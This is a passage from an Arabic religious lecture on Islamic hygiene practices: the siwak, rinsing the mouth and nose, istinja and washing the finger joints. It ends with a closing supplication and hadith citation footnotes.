ويستنجي بهذه اليد، كم نجاسة تبقى تحت هذه الأظفار وتلوث، وفي السواك فوائد عظيمة مر منها ما مر، فهو يسبب إزالة ما يتعرض له الفم لكثير من الجراثيم؛ فإن الفم مجمع لكثير من الجراثيم، ولذلك جاءت السنة بالمضمضة والمبالغة فيها والاستنشاق، وكذلك السواك فإنه يقضي على كثير من الجراثيم التي تصيب الأسنان واللثة، ومن فضل الله أن هذا الأراك فيه خاصية لا توجد في غيره، ولهذا بعض معاجين الأسنان تستخلص من هذه الشجرة شجرة الأراك، وفي المضمضة مع المبالغة لغير الصائم وصول الماء لأقصى الحلق واللوزات وفيه تخلص من بقايا الطعام ونظافة الفم، وفي الاستنشاق باليمنى والاستنثار باليسرى تخلص من الجراثيم التي تتراكم على الغشاء المخاطي للأنف ولهذا جاءت السنة به، وفي الاستنجاء والاستجمار قبل الوضوء واستعمال الحجارة قبل الماء ما يدل على النظافة بأحسن صورها وأحسن أحوالها، وفي غسل البراجم ونسينا أن نذكرها كما أن المؤلف لم يذكرها وهي خصلة من الخصال العشر، قال: نسيت العاشرة وذكر في روايةٍ البراجم، البراجم هي مفاصل اليدين والرجلين، هذه البراجم، ظاهرها وباطنها، من أهل العلم من قال الظاهر والباطن ومنهم من قال الظاهر، لكن الصحيح أنه يعتني بغسل هذه البراجم فإنه يجتمع فيها من الأوساخ والغبار ما لا يجتمع في غيرها، لا سيما أصحاب المهن الذين عملهم وحرفتهم في أيديهم فإنه يجتمع في هذه المفاصل من الأوساخ والجراثيم ما يحتاج إلى إزالة.

فنحمد ربنا ذا الجلال والإكرام الذي جعلنا من أهل هذا الدين الذي يعتني بصغائر الأمور قبل كبيرها ويهتم بهذه الخصال غاية في الاهتمام والعناية، لم يجعلها عادة فقط بل جعلها دين ندين الله به ونتعبده، ونسأله أن يمسكنا بهذا الدين حتى نلقاه غير محرفين ولا مفتونين ولا فاتنين، إن ربي قريبٌ مجيب وبالله التوفيق وصلى الله وسلم وبارك وأكرم وأنعم على أفضل أنبيائه ورسله نبينا محمد وعلى آله وأصحابه وأتباعه إلى يوم الدين، والسلام عليكم ورحمة الله وبركاته…

 

¯¯¯


[1] أخرجه مسلم (261).

[2] أخرجه مسلم (257).

[3] رواه الطبري في تفسيره (1910)، وابن أبي حاتم في تفسيره (1165)، والحاكم (2/293)، والبيهقي (1/149) (705)، وصحَّح إسناده ابن حجر في تحفة النبلاء (230).

[4] أخرجه أبو داود في سننه (144)، وصححه الألباني في صحيح أبي داود (144).

[5] زاد المعاد (4/323).

[6] أخرجه النسائي (5)، وأبو يعلى (4569)، وابن خزيمة (135)، وعلقه البخاري في «باب سواك الرطب واليابس للصائم»، وحسن إسناده البغوي في شرح السنة، وصححه الألباني في صحيح النسائي (5)، وصحيح ابن خزيمة (135)، وإرواء الغليل (66).

[7] أخرجه البزار (2137)، والدارقطني (2/204)، والبيهقي (8596)، وضعفه الألباني في إرواء الغليل (67).

[8] أخرجه البخاري (887)، ومسلم (252) واللفظ له.

[9] أخرجه البخاري معلقًا بصيغة الجزم قبل حديث (1934) باختلاف يسير، وأخرجه موصولاً النسائي في «السنن الكبرى» (3043)، وأحمد (9928) واللفظ لهما وصححه ابن خزيمة في صحيحه (1/258).

[10] سبق تخريجه قريبًا.

[11] أخرجه البخاري (245)، ومسلم (255).

[12] أخرجه مسلم (253).

[13] رواه البزار في البحر الزخار (2/214) وحسّن إسناده، وحسنه الألباني في صحيح الترغيب والترهيب (215).

[14] رواه الإمام أحمد في مسنده (19737) وهو صحيح على شرط الشيخين، وقد ذكره البخاري (241) بلفظ: «أَتَيْتُ النَّبِيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ فَوَجَدْتُهُ يَسْتَنُّ بِسِوَاكٍ بِيَدِهِ يَقُولُ أُعْ أُعْ، وَالسِّوَاكُ فِي فِيهِ، كَأَنَّهُ يَتَهَوَّعُ».

[15] أخرجه البخاري (168)، ومسلم (268).

[16] أخرجه البخاري (5892)، ومسلم (259) بلفظ: «خالِفُوا المُشْرِكِينَ أحْفُوا الشَّوارِبَ، وأَوْفُوا اللِّحَى».